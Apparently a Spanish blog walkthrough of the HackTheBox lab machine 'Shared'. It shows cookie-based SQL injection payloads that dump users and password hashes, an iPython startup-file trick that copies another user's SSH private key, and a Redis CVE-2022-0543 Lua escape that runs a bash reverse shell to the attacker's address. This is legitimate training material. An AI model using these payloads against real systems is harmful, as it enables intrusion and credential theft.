Shared - HackTheBox

elc4br4elc4br4
5 min read

Reconocimiento

Reconocimiento de Puertos🔍

Como siempre comienzo con el reconocimiento, pero antes de lanzar la utilidad nmap, lanzo el script Whichsystem.py que sirve para identificar el sistema operativo de la máquina a la que me voy a enfrentar.

Esta herramienta creada por s4vitar se basa en el TTL (Time To Live) para identificar si es una máquina que corre un sistema operativo Linux o Windows.

TTLSistema Operativo
64Linux
128Windows

En este caso me arroja un TTL de 63, por lo que al acercarse más a 64 que a 128 ya sé que es una máquina Linux.

Una vez que ya se que es una máquina Linux puedo proceder al reconocimiento de puertos.

# Primer escaneo para sacar los puertos abiertos de la máquina
nmap -p- -Pn -n --min-rate 5000 10.10.11.186 --open -vvv

# Segundo escaneo para sacar la versión de lo que se ejecuta en cada puerto y lanzamiento de una serie de scripts básicos de nmap contra dichos puertos.
nmap -p80,22,21 -sCV -n 10.10.11.186

Por el momento tengo la siguiente información:

PuertoServicioVersión
22sshOpenSSH 8.4p1 Debian
80httpnginx 1.18.0
443httpsnginx 1.18.0

Dominio shared.htb que añado al archivo /etc/hosts de mi máquina atacante.


Enumeración Web🔢

Antes de acceder al navegador y ver que tenemos en el servidor web del puerto 80 voy a lanzar la herramienta whatweb para ver que información me reporta y si me puede ser útil.

Veo que tenemos una cookie... eso ya es una gran pista... pero bueno ahí lo dejo :)

Abro el navegador y encuentro una web que parece de una tienda de ropa, arte y accesorios del hogar.

Pruebo a añadir algún producto al carrito y veo que soy redirigido a un subdominio...

checkout.shared.htb

Pero a simple vista no veo nada interesante... así que abro el inspeccionar del navegador para ver que puedo hacer con esa cookie que descubrí anteriormente... Y veo que arrastro una cookie con el id del producto que añadí a la cesta.

Pruebo a meter una serie de inyecciones sql con éxito.


Explotación

Inyección SQL💉

# Primero he de descubrir el nombre de la base de datos
{"' and 0=1 union select 1,database(),3-- -":"1"}

# A continuación intentaré listar las tablas existentes dentro de la base de datos checkout
{"' and 0=1 union select 1,table_name,table_schema from information_schema.tables where table_schema='checkout'-- -":"1"}

Puedo ver que existe una columna con el nombre de users, por lo que ahora me toca leer las columnas de la tabla users.

# Listar columnas de la tabla users de la base de datos checkout
==================================================================
{"' and 0=1 union select 1,username,2 from checkout.user-- -":"1"}

Encuentro el usuario james_mason, ahora toca intentar obtener su contraseña usando la misma inyección que para el usuario pero modificando el campo user por password.

# Obtener contraseña del usuario james_mason
==================================================================
{"' and 0=1 union select 1,password,2 from checkout.user-- -":"1"}

Encuentro la contraseña codificada del usuario james_mason, por lo que he de craquearla.

En esta ocasión usaré una herramienta online muy famosa.

https://crackstation.net/

Y consigo la contraseña en texto plano.

Ahora pruebo a iniciar sesión con el usuario james y la contraseña en el servicio ssh y consigo acceso.


Escalada de Privilegios

iPython👨‍💻

A continuación toca realizar movimiento horizontal al usuario dan_smith para poder leer la flag user.txt y continuar para posteriormente escalar al usuario root.

Lo primero que se me ocurre es lanzar el binario linpeas.sh para buscar posibles vulnerabilidades, malas configuraciones... etc

# Veo que el usuario james_mason pertenece al grupo developer
uid=1000(james_mason) gid=1000(james_mason) groups=1000 (james_mason),1001(developer)

También encuentro algo más curioso aún... tenemos el puerto 6379 corriendo en local (el puerto 6379 suele ser redis).

Pero por el momento no he encontrado nada útil... así que lanzo pspy64 para buscar procesos que se ejecuten ocultos.

Veo que se ejecutan ciertas cosas bajo el UID 1001 (developer) tirando del comando ipython...

Así que me pongo a buscar vulnerabilidades de iPython o algún tipo de escalada de privilegios y encuentro el siguiente repositorio de github.

https://github.com/advisories/GHSA-pq7m-3gw7-gq5x

# Sigo los pasos para intentar leer la clave rsa del usuario dan_smith.

mkdir -m 777 /opt/scripts_review/profile_default/
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo "import os;os.system('cat ~/.ssh/id_rsa > ~/dan_smith.key')" > /opt/scripts_review/profile_default/startup/elc4br4.py

# Debemos ejecutar rápidamente estos 3 comandos, sino no funcionará.

Ahora ya puedo iniciar sesión a través del servicio ssh con el usuario dan_smith usando su clave rsa.

Redis-cli👨‍💻

Ahora toca escalar privilegios para convertirme en el usuario root.

Antes al lanzar el binario linpeas descubrí que estaba Redis corriendo en el puerto 6379, por lo que podría ser un vector de escalada.

Pero para asegurarme 100 por 100 voy a volver a lanzar linpeas.

Y encuentro lo siguiente:

Esto ya me hace pensar que la escalada al usuario root va a ser a través de Redis.

Encuentro un archivo llamado redis_connector_dev y procedo a ejecutarlo:

Pero no veo nada de interés por lo que se me ocurre poner un netcat en escucha en el puerto 6379 y ejecuto el script que posteriormente me he descargado en máquina atacante.

Y encuentro lo que parece una credencial de Redis, pero sigo sin nada sólido más que esa credencial.

Por lo que decido buscar vulnerabilidades de Redis y encuentro lo siguiente:

https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md

He de iniciar sesión con redis-cli usando la contraseña que encontré, crear una Reverse Shell en bash y ejecutar el siguiente comando:

# Reverse Shell Bash
echo "bash -i >& /dev/tcp/10.10.14.10/443 0>&1" > /tmp/shell
# Pongo netcat en escucha en el puerto 443
nc -lnvp 443
# Ejecuto Redis con la contraseña encontrada e introduzco el siguiente comando:

redis-cli --pass F2WHqJUz2WEz=Gqq

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /tmp/shell | bash"); local res = f:read("*a"); f:close(); return res'

Y por fin me he convertido en root y ya puedo leer la flag root.

1
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student